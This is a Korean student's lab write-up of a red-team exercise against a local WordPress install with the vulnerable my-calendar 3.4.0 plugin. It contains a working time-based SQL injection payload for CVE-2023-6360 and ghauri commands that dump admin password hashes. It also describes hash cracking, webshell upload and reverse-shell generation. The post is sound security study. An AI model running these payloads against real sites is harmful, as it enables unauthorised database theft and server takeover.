STUDY.md
  • ASC Track week-1. Basic Exploit Flow 실습 끄적끄적
    2025년 01월 24일 16시 25분 17초에 업로드 된 글입니다.
    작성자: 방세연

     

     

    ASC Track week-1.

     

     

     

     


     

     🚨Red Team이란? 

    공격적인 사이버 보안 평가를 통해 조직의 시스템에 액세스 한다.

    침투 테스트 도구와 기술을 사용해 실제로 공격자가 하는 방식과 같이 모의 적군의 입장을 가지고 내부 보안 문제점이 어떤 것인지 평가하는 팀을 아우른다.

     

    • 다양한 대상이 평가 범위에 포함될 수 있다.
    • 현실적인 위협을 시뮬레이션 하기 위해 존재한다.

    출처 - https://www.stationx.net/red-teaming-vs-penetration-testing/

     

    Red Teaming은 다음과 같은 Cyber Kill Chain을 따른다.


     

    OSINT

    초기 정찰 정보 수집에 유용한 툴들을 설치해보았다.

    Initial Reconnaissance Tools

     

     

    • Subfinder
      • 서브 도메인 정보를 빠르게 찾는 보안 도구
      • 도메인 범위 파악, 버그 바운티 과정 타겟 도메인 조사, DNS 정보 수집
    • hunterhow
      • 자동화된 보안 테스트, 자세한 보고서 제공
      • 취약점 스캐닝을 진행하는 플랫폼
    • uncover
      • hunterhow와 함께 상호작용하여 사용 가능
      • 대규모 인터넷 자산 스캐닝, 분석 기능 수행
    • httpx
      • 웹 서버 상태, 응답 코드, 제목 등의 정보를 제공
      • hunterhow와 uncover에서 가져온 서버 목록에서 HTTP/HTTPS 서비스 활성화를 확인
      • 서버들의 기본 정보들을 확인하는 것에 유용함
    • nuclei
      • 발견된 서버들에 대한 자동화 취약점 스캐닝 기능 수행
      • 이전 툴들로 웹 서비스 상태를 확인하고, nuclei를 통해 정형화된 취약점 여부를 자동으로 검사할 수 있음

     

     

     


     

     

    EXPLOIT 과정

     

    Docker을 활용해 먼저 워드프레스 환경을 초기 설정해주었다.

    my-calendar 3.4.0 취약한 버전의 플러그인을 사용했다.

     

     

     

     

    이후 Plugins 탭에 들어가 플러그인을 활성화한다.

     

     

     

    자신의 localhost 페이지에 들어가면 해당 페이지가 나타난다.

    초기 침투 실습 환경 세팅이 완료되었다.

     

     

     


     🕸️Initial Access 

    nuclei Tech Detection

    ┌──(root㉿kali)-[/home/kali]
    └─# nuclei -target http://localhost:8080 -t http/technologies -t javascript -t http/exposed-panels -as
    
                         __     _
       ____  __  _______/ /__  (_)
      / __ \/ / / / ___/ / _ \/ /
     / / / / /_/ / /__/ /  __/ /
    /_/ /_/\__,_/\___/_/\___/_/   v3.3.7
    
                    projectdiscovery.io
    
    [INF] Current nuclei version: v3.3.7 (outdated)
    [INF] Current nuclei-templates version: v10.1.1 (latest)
    [WRN] Scan results upload to cloud is disabled.
    [INF] New templates added in latest release: 154
    [INF] Templates loaded for current scan: 1957
    [INF] Executing 1907 signed templates from projectdiscovery/nuclei-templates
    [WRN] Loading 50 unsigned templates for scan. Use with caution.
    [INF] Targets loaded for current scan: 1
    [INF] Automatic scan tech-detect: Templates clustered: 427 (Reduced 404 Requests)
    [INF] Executing Automatic scan on 1 target[s]
    [apache-detect] [http] [info] http://localhost:8080 ["Apache/2.4.62 (Debian)"]
    [metatag-cms] [http] [info] http://localhost:8080 ["WordPress 6.7.1"]
    [php-detect] [http] [info] http://localhost:8080 ["8.2.27"]
    [tech-detect:php] [http] [info] http://localhost:8080
    [wordpress-detect:version_by_css] [http] [info] http://localhost:8080/wp-admin/install.php ["6.7.1"]                                                                                      
    [waf-detect:apachegeneric] [http] [info] http://localhost:8080
    [INF] Found 14 tags and 6 matches on detection templates on http://localhost:8080 [wappalyzer: 12, detection: 7]
    [INF] Executing 1476 templates on http://localhost:8080
    [INF] Using Interactsh Server: oast.live
    [wordpress-readme-file] [http] [info] http://localhost:8080/readme.html
    [cluster-b738123da4a6be6c9e609a1bc573d2ed23cf8852a84326495b7c4fd48c4bdfd0] [http] [info] http://localhost:8080/wp-login.php
    [apache-server-status-localhost] [http] [low] http://localhost:8080/server-status
    [apache-detect] [http] [info] http://localhost:8080 ["Apache/2.4.62 (Debian)"]
    [php-detect] [http] [info] http://localhost:8080 ["8.2.27"]
    [metatag-cms] [http] [info] http://localhost:8080 ["WordPress 6.7.1"]
    [wordpress-detect:version_by_css] [http] [info] http://localhost:8080/wp-admin/install.php ["6.7.1"]                                                                                      
    [CVE-2023-6360] [http] [critical] http://localhost:8080/?rest_route=/my-calendar/v1/events&from=1'+AND+(SELECT+1+FROM+(SELECT(SLEEP(2)))a)+AND+'a'%3d'a
    [external-service-interaction] [http] [info] localhost:8080
    [wordpress-xmlrpc-listmethods] [http] [info] http://localhost:8080/xmlrpc.php
    [wp-license-file] [http] [info] http://localhost:8080/license.txt
    [wordpress-xmlrpc-file] [http] [info] http://localhost:8080/xmlrpc.php
    [wp-user-enum:usernames] [http] [low] http://localhost:8080/?rest_route=/wp/v2/users/ ["admin"]                                                                                           
    [wp-xmlrpc-pingback-detection] [http] [info] http://localhost:8080/xmlrpc.php
    [wp-xmlrpc-pingback-detection] [http] [info] http://localhost:8080/xmlrpc.php

     

     

    nuclei -target http://localhost:8080 -t http/technologies -t javascript -t http/exposed-panels -as

     

    nuclei를 활용해 localhost:8080에 대한 취약점 스캐닝을 시도했다. 

    정보를 확인해보면 CVE-2023-6360 (Critical) WordPress 플러그인 my-calendar 관련 취약점이 노출되었다.

     

     

    nuclei가 확인한 스캔 경로는 다음과 같다.

    http://localhost:8080/?rest_route=/my-calendar/v1/events&from=1'+AND+(SELECT+1+FROM+(SELECT(SLEEP(2)))a)+AND+'a'%3d'a

    주어진 경로를 확인해보면 해당 플러그인에서 SQL Injection이 가능하다는 것이 보여진다.

     

     

    또한 다음과 같은 민감할 수 있는 중요 파일이 노출되었다.

    readme.html, license.txt, server-status

     

     

    마지막으로 XML-RPC 취약점이 발견되었다.

    http://localhost:8080/xmlrpc.php

    http://localhost:8080/?rest_route=/wp/v2/users/에서 ["admin"]이라는 정보가 나타난다.

     

     


     

     

     

     

     

    WordPress Scan

    wpscan --url http://localhost:8080
    ┌──(root㉿kali)-[/home/kali]
    └─# wpscan --url http://localhost:8080
    _______________________________________________________________
             __          _______   _____
             \ \        / /  __ \ / ____|
              \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
               \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
                \  /\  /  | |     ____) | (__| (_| | | | |
                 \/  \/   |_|    |_____/ \___|\__,_|_| |_|
    
             WordPress Security Scanner by the WPScan Team
                             Version 3.8.27
           Sponsored by Automattic - https://automattic.com/
           @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
    _______________________________________________________________
    
    [+] URL: http://localhost:8080/ [::1]
    [+] Started: Wed Jan  8 02:35:42 2025
    ...
    [+] Finished: Wed Jan  8 02:35:49 2025
    [+] Requests Done: 172
    [+] Cached Requests: 5
    [+] Data Sent: 43.648 KB
    [+] Data Received: 222.872 KB
    [+] Memory used: 273.941 MB
    [+] Elapsed time: 00:00:07

     

    이후 WordPress Core 취약점을 검사하는 wpscan을 사용해보았다.

    해당 분석을 완료하면 설치된 플러그인 my-calendar와, 설치된 버전과 위치한 경로를 확인할 수 있다.

     

    3.4.0 Version이라는 것이 확인되었으나 이는 최신 버전이 아니므로 취약점이 발견할 수 있다고 확인된다.

     

     

     

    exploit search

     

    확인된 my-calendar 버전 정보를 가지고 구글링을 해보는 것을 Exploit Search라고 한다.

    Exploit Search를 통해 해당 버전의 플러그인에 어떠한 CVE와 취약점이 존재했는지 확인할 수 있다.

     

    위에 nuclei 도구에서 확인한 것과 같이 해당 버전에는 SQL Injection 취약점이 존재하였다.

     

     

     

    exploit via ghauri

    ┌──(ghauri-venv)(root㉿kali)-[/home/kali/ghauri]
    └─# ghauri -u "http://localhost:8080/?rest_route=/my-calendar/v1/events&from=1"
    
                                                                                                 
      ________.__                        .__  {1.4.1}                                            
     /  _____/|  |__ _____   __ _________|__|                                                    
    /   \  ___|  |  \\__  \ |  |  \_  __ \  |                                                    
    \    \_\  \   Y  \/ __ \|  |  /|  | \/  |                                                    
     \______  /___|  (____  /____/ |__|  |__|                                                    
            \/     \/     \/         https://github.com/r0oth3x49                                
                                     An advanced SQL injection detection & exploitation tool.
      
    
    
    [*] starting @ 01:40:21 /2025-01-24/                                                         
                                                                                                 
    [01:40:21] [INFO] testing connection to the target URL
    [01:40:22] [INFO] testing for SQL injection on GET parameter 'rest_route'
    [01:40:22] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
    [01:40:24] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause (NOT)'
    [01:40:25] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause'
    [01:40:27] [INFO] testing 'Boolean-based blind - Parameter replace'
    [01:40:28] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'
    [01:40:28] [INFO] testing 'boolean-based blind - WHERE or HAVING clause (CASE STATEMENT)'
    [01:40:29] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause (MySQL comment)'
    [01:40:30] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause (MySQL comment)'
    [01:40:31] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment)'                                                                                         
    [01:40:31] [INFO] testing 'MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause'                                                                                  
    [01:40:31] [INFO] testing 'MySQL boolean-based blind - (IF STATEMENT)'
    [01:40:32] [INFO] testing 'Microsoft SQL Server/Sybase boolean-based blind - Parameter replace'                                                                                           
    [01:40:32] [INFO] testing 'Microsoft SQL Server/Sybase boolean-based blind - Parameter replace (original value)'                                                                          
    [01:40:32] [INFO] testing 'PostgreSQL AND boolean-based blind - WHERE or HAVING clause'
    [01:40:33] [INFO] testing 'PostgreSQL AND boolean-based blind - WHERE or HAVING clause'
    [01:40:34] [INFO] testing 'Oracle boolean-based blind - Parameter replace'
    [01:40:34] [INFO] testing 'Oracle AND boolean-based blind - WHERE or HAVING clause (CTXSYS.DRITHSX.SN)'                                                                                   
    [01:40:35] [INFO] testing 'Oracle OR boolean-based blind - WHERE or HAVING clause (CTXSYS.DRITHSX.SN)'                                                                                    
    [01:40:35] [INFO] testing 'MySQL >= 5.0.12 time-based blind (query SLEEP)'
    [01:40:36] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP)'
    [01:40:36] [INFO] testing 'MySQL >= 5.0.12 time-based blind (IF - comment)'
    [01:40:37] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP - comment)'
    [01:40:37] [INFO] testing 'MySQL >= 5.0.12 time-based blind (CASE STATEMENT)'
    [01:40:38] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP - CASE STATEMENT)'
    [01:40:38] [INFO] testing 'MySQL >= 5.0.12 time-based blind (SLEEP)'
    [01:40:39] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
    [01:40:39] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind (IF)'
    [01:40:39] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)'
    [01:40:39] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind (IF - comment)'
    [01:40:40] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
    [01:40:40] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind (comment)'
    [01:40:40] [INFO] testing 'PostgreSQL stacked queries (heavy query)'
    [01:40:41] [INFO] testing 'PostgreSQL > 8.1 OR time-based blind (comment)'
    [01:40:41] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)'
    [01:40:41] [INFO] testing 'Oracle time-based blind (DBMS_PIPE.RECEIVE_MESSAGE - comment)'
    [01:40:42] [INFO] testing 'Oracle stacked queries (DBMS_LOCK.SLEEP - comment)'
    [01:40:42] [INFO] testing 'Oracle time-based blind (DBMS_LOCK.SLEEP - comment)'
    [01:40:43] [INFO] testing 'Oracle stacked queries (USER_LOCK.SLEEP - comment)'
    [01:40:43] [INFO] testing 'Oracle time-based blind (USER_LOCK.SLEEP - comment)'
    [01:40:44] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)'                                                                   
    [01:40:45] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXP)'                                                                               
    [01:40:45] [INFO] testing 'MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)'                                                                       
    [01:40:46] [INFO] testing 'MySQL >= 5.7.8 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (JSON_KEYS)'                                                                       
    [01:40:46] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (DOUBLE)'                                                                            
    [01:40:47] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'                                                                             
    [01:40:47] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (UPDATEXML)'                                                                         
    [01:40:48] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'                                                                      
    [01:40:49] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (UPDATEXML)'                                                                         
    [01:40:49] [INFO] testing 'MySQL >= 5.1 AND string error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (UPDATEXML)'                                                                  
    [01:40:50] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'                                                                      
    [01:40:51] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause'                                                                                          
    [01:40:51] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)'                                                                                     
    [01:40:51] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (CONVERT)'                                                                                
    [01:40:52] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (CONCAT)'                                                                                 
    [01:40:52] [INFO] testing 'Microsoft SQL Server/Sybase AND string error-based - WHERE or HAVING clause (IN)'                                                                              
    [01:40:52] [INFO] testing 'Microsoft SQL Server/Sybase AND string error-based - WHERE or HAVING clause'                                                                                   
    [01:40:52] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
    [01:40:53] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (CTXSYS.DRITHSX.SN)'                                                                                           
    [01:40:53] [WARNING] GET parameter 'rest_route' does not seem to be injectable
    [01:40:53] [INFO] testing for SQL injection on GET parameter 'from'
    Ghauri resumed the following injection point(s) from stored session:
    ---                                                                                          
    Parameter: from (GET)                                                                        
        Type: time-based blind                                                                   
        Title: MySQL >= 5.0.12 time-based blind (query SLEEP)                                    
        Payload: rest_route=/my-calendar/v1/events&from=1'AND(SELECT(0)FROM(SELECT(SLEEP(8)))a)AND'Z                                                                                          
    ---                                                                                          
    [01:40:53] [INFO] testing MySQL
    [01:40:53] [INFO] confirming MySQL
    [01:40:53] [INFO] the back-end DBMS is MySQL
    
    [01:40:53] [INFO] fetched data logged to text files under '/root/.ghauri/localhost'
    
    [*] ending @ 01:40:53 /2025-01-24/

     

     

    rest_route=/my-calendar/v1/events&from=1'AND(SELECT(0)FROM(SELECT(SLEEP(8)))a)AND'Z

    ghauri를 통해 my-calendar 플러그인이 위치한 사이트를 스캔해보았을 때, 이번에도 마찬가지로 취약한 구문인 Time-based Blind SQLi 취약점이 발견되었다.

     

    이제 ghauri를 확인해서 해당 사이트의 데이터베이스에 대한 정보를 추출할 수 있는지 확인해보자.

     

     


    1. 데이터베이스 이름 확인하기


    ghauri -u "http://localhost:8080/?rest_route=/my-calendar/v1/events&from=1" -p from --dbs --random-agent --threads 10 --batch


    wpdb, information_schema라는 존재하는 databases를 확인하였다. 해당 정보를 확인했으니 이제 wpdb라는 이름의 databases에 저장된 테이블 정보도 추출할 수 있는지 밑에서 확인해본다.






    2. 특정 데이터베이스 명을 지정해 해당 위치에 저장된 테이블 명을 확인하기
    ghauri -u "http://localhost:8080/?rest_route=/my-calendar/v1/events&from=1" -D wpdb --tables --random-agent --threads 10 --batch


    테이블은 18가지 존재했고, wpdb 데이터베이스에 대한 민감 정보(tables)를 수집할 수 있었다.
    이제 원하는 테이블을 세부적으로 지정하여 해당 테이블에 저장된 데이터를 확인해보자.





    3. 특정 테이블 지정 후 테이블에 저장된 데이터 추출
    ghauri -u "http://localhost:8080/?rest_route=/my-calendar/v1/events&from=1" -D wpdb -T wp_users -C user_login,user_pass --dump --random-agent --threads=10 --batch

    wp_users 테이블의 wp_login, user_pass 컬럼을 확인해주면 username 'admin'과 password hash '(비밀번호 해시' 정보를 확인할 수 있다. 이 해시화된 정보를 Hashcat을 통해 크랙하면 비밀번호가 '1234'라는 것을 알 수 있다. 이 과정을 Hash Cracking이라고 한다.
     




    4. 침투 가능성 확인하기

    이후 localhost:8080/wp-admin으로 해당 정보 기입 시 관리자 페이지에 접근된다.




    4. 지속 접근과 권한 확보를 위해 웹쉘 업로드하기

    관리자 페이지에서 Tools - Theme/Plugin File Editor을 통해 웹쉘을 업로드할 수 있다.
    방법이 여러가지가 있는데, 대표적으로는 직접 웹쉘 코드를 editor을 통해 삽입하거나 웹쉘이 포함된 악성 플러그인을 직접 업로드하는 방법이 존재한다.

    https://www.revshells.com/
    해당 사이트를 통해 Reverse Shell Generator을 사용하여 reverse shell 코드를 생성할 수 있다.

     

     

     

     

     

     


     

     

     

     

     

    댓글